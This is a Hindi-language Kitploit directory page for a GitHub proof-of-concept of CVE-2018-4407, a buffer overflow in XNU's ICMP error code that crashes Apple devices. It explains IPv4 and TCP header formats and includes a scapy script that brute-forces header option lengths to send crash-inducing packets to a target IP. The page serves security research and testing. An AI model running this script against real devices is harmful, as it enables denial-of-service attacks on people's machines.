Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2018-4407 — XNU कर्नेल के ICMP एरर कोड में बफ़र ओवरफ़्लो कमजोरी के कारण IOS डिवाइस (लैपटॉप और मोबाइल) क्रैश हो जाते हैं। | Kitploit
उपकरण/GitHubGitHub/lucagiovagnoli/cve-2018-4407
पेलोड जनरेशनभेद्यता विश्लेषणशोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगबाइनरी शोषण
GitHublucagiovagnoli/cve-2018-4407

CVE-2018-4407

XNU कर्नेल के ICMP एरर कोड में बफ़र ओवरफ़्लो कमजोरी के कारण IOS डिवाइस (लैपटॉप और मोबाइल) क्रैश हो जाते हैं।

रिपॉजिटरी देखें
147 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2018-4407

CVE-2018-4407 XNU कर्नेल के ICMP त्रुटि कोड में एक बफर ओवरफ्लो भेद्यता है। यह IOS उपकरणों (लैपटॉप और मोबाइल दोनों) को एक (हाँ 1!) एकल खराब पैकेट प्राप्त करने पर क्रैश कर देता है।

यह बग मूल रूप से केविन बैकहाउस द्वारा उनके lgtm ब्लॉगपोस्ट पर 30 अक्टूबर 2018 को प्रकट किया गया था।

इस रेपो में कोड पायथन में लागू CVE-2018-4407 शोषण का एक प्रूफ ऑफ कॉन्सेप्ट है, जो scapy और nmap का उपयोग करता है।

डीबगिंग

मेरी डीबगिंग प्रक्रिया के कुछ कदम। XNU कर्नेल कोड में देखने पर iphlen और tcphlen के लिए संख्याएँ मिलती हैं जो बफर ओवरफ्लो को ट्रिगर कर सकती हैं। जैसा कि बैकहाउस ने कहा, हमारे पास icmplen > 84 होना चाहिए और ऐसा प्रतीत होता है कि हमें उस कोड शाखा if(oip->ip_p == IPPROTO_TCP) में जाना चाहिए ताकि ऐसा हो सके। एक TCP पैकेट इस भेद्यता को ट्रिगर करेगा।

alt text

IPv4 हेडर फॉर्मेट [RFC 791]

एक IPv4 हेडर न्यूनतम 20 बाइट्स से लेकर 36 बाइट्स तक होता है (विकल्पों पर निर्भर करता है)।

  • IHL: IP हेडर की लंबाई है, जिसमें विकल्प शामिल हैं। यह यह भी इंगित करता है कि पेलोड कहाँ से शुरू होता है।
  • Total Length: IP पैकेट की कुल लंबाई होगी (IP हेडर और TCP पेलोड सहित)।
      0               1               2               3
      0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  0  |Version|  IHL  |Type of Service|          Total Length         |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  4  |         Identification        |Flags|      Fragment Offset    | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  8  |  Time to Live |    Protocol   |         Header Checksum       | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 12  |                       Source Address                          | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 16  |                    Destination Address                        | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 20  |                    Options (up to 16B)        |    Padding    | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

TCP हेडर फॉर्मेट [RFC 793]

एक TCP हेडर न्यूनतम 20 बाइट्स से 60 बाइट्स तक होता है (विकल्प 40 बाइट्स तक हो सकते हैं)।

  • Data offset: इंगित करता है कि डेटा कहाँ से शुरू होता है और इसे हेडर की लंबाई के रूप में भी देखा जा सकता है।
      0               1               2               3
      0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  0  |          Source Port          |       Destination Port        |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  4  |                        Sequence Number                        |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  8  |                    Acknowledgment Number                      |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     |  Data |           |U|A|P|R|S|F|                               |
 12  | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
     |       |           |G|K|H|T|N|N|                               |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 16  |           Checksum            |         Urgent Pointer        |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 20  |                    Options (up to 40B)        |    Padding    |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

ब्रूटफोर्स दृष्टिकोण

XNU कोड में इतना गहराई तक जाना आवश्यक नहीं है। एक सरल scapy स्क्रिप्ट, जो मैन्युअल रूप से विभिन्न हेडर लंबाइयों की कोशिश करती है, का भी उपयोग किया जा सकता है:

MIN_IPHLEN = 20
MIN_TCPHLEN = 20
DST_IP = #<IP_ADDRESS>

for ip_opt_len in range(0, 60):
    for tcp_opt_len in range (0, 60):
        iphlen = ip_opt_len + MIN_IPHLEN
        tcphlen = tcp_opt_len + MIN_TCPHLEN
        total_ip_len = tcphlen + iphlen
        
        send(IP(
            ihl=iphlen/4,
            len=total_ip_len,
            dst=DST_IP,
            options=IPOption("a" * ip_opt_len)
        )/TCP(
            dataofs=15,
            options = [("NOP", None)] * tcp_opt_len
        ))
टूल डाउनलोड करें